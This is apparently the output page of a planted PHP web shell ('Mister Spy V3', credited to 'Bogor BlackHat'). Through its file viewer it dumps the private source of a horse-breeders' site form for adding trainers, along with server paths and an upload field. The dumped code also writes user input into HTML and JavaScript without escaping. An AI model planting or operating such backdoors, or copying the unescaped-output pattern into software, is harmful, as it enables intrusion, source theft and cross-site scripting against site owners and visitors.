Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/espanol/
Upload File :
Current File : /home/caballoscriollos/public_html/espanol/domador_agregar.php

<?php

require_once("../funcs_email.php");
require_once("../config.php");
require_once('../Connections/cnx.php'); 
require_once("../funcs.php");

mysql_select_db($database_cnx, $cnx);

$Nombre				= (isset($_REQUEST['Nombre']))		? mysql_real_escape_string($_REQUEST['Nombre']) 		: '';
$Apellido				= (isset($_REQUEST['Apellido']))		? mysql_real_escape_string($_REQUEST['Apellido']) 		: '';
$DocumentoNumero	= (isset($_REQUEST['DocumentoNumero']))		? mysql_real_escape_string($_REQUEST['DocumentoNumero']) 		: '';
$Submit				= (isset($_REQUEST['Submitted'])) 	? $_REQUEST['Submitted']	: 0;
$Action				= (isset($_REQUEST['MainAction'])) 	? $_REQUEST['MainAction']	: '';
$err = 0;
$IdDomador = 0;

if ($Submit)
{
	if (trim($Nombre) == '')
		$err |= 1;
	if (trim($DocumentoNumero) == '')
		$err |= 2;
	if (trim($Apellido) == '')
		$err |= 4;
		
	$querySelect = "SELECT p.*";
	$querySelect.= " FROM tblDomadores p";
	$querySelect.= " WHERE 1";
	if ($DocumentoNumero && $DocumentoNumero != '')
		$querySelect.= " AND p.DocumentoNumero LIKE '%" . addslashes(trim($DocumentoNumero)) . "%' ";
	$querySelect.= " ORDER BY p.Nombre ASC";
	
	$sqlSelect = mysql_query($querySelect) or die(mysql_error());

	if (trim($DocumentoNumero) != '' && (isset($sqlSelect)) && (mysql_num_rows($sqlSelect) > 0)){
	
		$err |= 8;
	}
	
	if ($err == 0)
	{
		$queryInsert = 'INSERT INTO tblDomadores';
		$queryInsert.= '(Nombre, Apellido, DocumentoNumero)';
		$queryInsert.= 'VALUES';
		$queryInsert.= "('$Nombre', '$Apellido', '$DocumentoNumero');";
		
		$sqlInsert = mysql_query($queryInsert) or die(mysql_error());
		
		$querySelect = "SELECT p.*";
		$querySelect.= " FROM tblDomadores p";
		$querySelect.= " WHERE 1";
		if ($DocumentoNumero && $DocumentoNumero != '')
			$querySelect.= " AND p.DocumentoNumero LIKE '%" . addslashes(trim($DocumentoNumero)) . "%' ";
		$querySelect.= " ORDER BY p.Nombre ASC";
		
		$sqlSelect = mysql_query($querySelect) or die(mysql_error());

		if ((isset($sqlSelect)) && (mysql_num_rows($sqlSelect) > 0)){
			$oSocio = mysql_fetch_array($sqlSelect);
			$IdDomador = $oSocio['IdDomador'];
			$Nombre = $oSocio['Nombre'] . ' ' . $oSocio['Apellido'];
		}
	}
}

if ($IdDomador > 0)
{
?>
<script type="text/javascript">
SeleccionarDomador('<?= $IdDomador ?>', '<?= $Nombre ?>');
</script>
<?php
	exit;
}

?>

<script type="text/javascript">
$j(document).ready(function() {
	$j('#frmData').ajaxForm({
			success: function(data) {
				$j('#simplemodal-data').html(data);
			}
		});
});
</script>
<div align="center"></div>

<table width="599" border="0" align="center" cellpadding="0" cellspacing="0" class="FondoBlanco">
  <tr>
    <td width="20" valign="top">&nbsp;</td>
    <td width="559" height="5" valign="top"><div align="center"></div></td>
    <td width="20" valign="top">&nbsp;</td>
  </tr>
  <tr>
    <td width="20" valign="top">&nbsp;</td>
    <td width="559" valign="top"><table width="100%" border="0" cellpadding="0" cellspacing="0">
      <tr>
        <td valign="top"><!-- InstanceBeginEditable name="Contenido" -->
<table align="center" cellpadding="0" cellspacing="0" width="100%">
    <tr>
        <td>
			<table align="center" width="100%" cellpadding="0" cellspacing="0">
				
				<tr>
                    <td height="25" background="images/accc_fondo_botonera.png" colspan="3">
                      <table width="100%" height="20" border="0" cellpadding="0" cellspacing="0">
                            <tr valign="middle">
                                <td width="10" height="31">&nbsp;</td>
                              <td height="31" class="TituloPrincipal">AGREGAR DOMADOR</td>
                              <td height="31"><div align="right">&nbsp;</div></td>
                              <td width="10" height="31" class="TituloPrincipal"><div align="right"></div></td>
                        </tr>
                        </table>
                  </td>
              </tr>
				<tr>
					<td width="15">&nbsp;</td>
					<td>
						<table align="center" width="100%" cellpadding="0" cellspacing="0">							
							<tr>
								<td>&nbsp;</td>
							</tr>
                            <tr>
								<td>
									<form method="post" name="frmData" id="frmData" action="domador_agregar.php" enctype="application/x-www-form-urlencoded" class="Estilo3">
                                    	<input type="hidden" name="MainAction" id="MainAction" value="Buscar" />
                                    	<input type="hidden" name="Submitted" id="Submitted" value="1" />
									  <table width="100%" border="0" class="bordeGris">										
										<tr>
											<td height="20" colspan="2" align="left" class="tituloCategoriaMenu bordeGrisFondo" ><strong>Por favor, ingrese la informaci&oacute; del domador.</strong></td>
										</tr>
                                        <tr>
                                        	<td>&nbsp;</td>
                                        </tr>
                                        <tr>
                                        	<td>&nbsp;</td>
                                        </tr>   
										<tr>
                                        	<td><div align="right"><span class="Estilo6">Nombre</span>: </div></td>
											<td><div align="left">
                                       	        <input type="text" name="Nombre" id="Nombre" value="<?=$Nombre?>" class="camposFormularioSimpleSinWidth" size="60" onkeydown="validate(this);" onkeyup="validate(this);" /> </div></td>
										</tr>
										<?php
										if ($err & 1)
										{
										?>
										<tr>
											<td>&nbsp;</td>
											<td>
												<li style="color:red">Ingrese el nombre del domador</li>
											</td>
										</tr>
										<?php
										}
										?>
										<tr>
                                        	<td><div align="right"><span class="Estilo6">Apellido</span>: </div></td>
											<td><div align="left">
                                       	        <input type="text" name="Apellido" id="Apellido" value="<?=$Apellido?>" class="camposFormularioSimpleSinWidth" size="60" onkeydown="validate(this);" onkeyup="validate(this);" /> </div></td>
										</tr>
										<?php
										if ($err & 4)
										{
										?>
										<tr>
											<td>&nbsp;</td>
											<td>
												<li style="color:red">Ingrese el apellido del domador</li>
											</td>
										</tr>
										<?php
										}
										?>
										<tr>
                                        	<td><div  align="right"><span class="Estilo6">N&uacute;mero Documento</span>: </div></td>
											<td><div align="left">
                                       	        <input type="text" name="DocumentoNumero" id="DocumentoNumero" value="<?=$DocumentoNumero?>" class="camposFormularioSimpleSinWidth" size="60" onkeydown="validate(this);" onkeyup="validate(this);" /> </div></td>
										</tr>
										<?php
										if ($err & 2)
										{
										?>
										<tr>
											<td>&nbsp;</td>
											<td>
												<li style="color:red">Ingrese el n&uacute;mero de documento del domador</li>
											</td>
										</tr>
										<?php
										}
										if ($err & 8)
										{
										?>
										<tr>
											<td>&nbsp;</td>
											<td>
												<li style="color:red">El documento ya fue ingresado para otro domador</li>
											</td>
										</tr>
										<?php
										}
										?>
										<tr>
											<td>&nbsp;</td>
                                        	<td><div style="float: right; margin-right: 56px">
                                       	        <input type="submit" class="botonBasicoSinWidth" value="Aceptar" /></div></td>
										</tr>
									    <tr>
                                        	<td>&nbsp;</td>
                                            <td>&nbsp;</td>
                                        </tr>
                                        <tr>
                                        	<td>&nbsp;</td>
                                            <td>&nbsp;</td>
                                        </tr>
									  </table>
									</form>							  </td>
							</tr>
						</table>
					</td>
					<td width="15">&nbsp;</td>
				</tr>
				<tr>
					<td width="15">&nbsp;</td>
					<td>&nbsp;</td>
					<td width="15">&nbsp;</td>
				</tr>
			</table>		
		</td>
	</tr>
</table>            
<!-- InstanceEndEditable --></td>
        </tr>
    </table></td>
    <td width="20" valign="top">&nbsp;</td>
  </tr>
  <tr>
    <td valign="top">&nbsp;</td>
    <td valign="top">&nbsp;</td>
    <td valign="top">&nbsp;</td>
  </tr>
</table>


Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat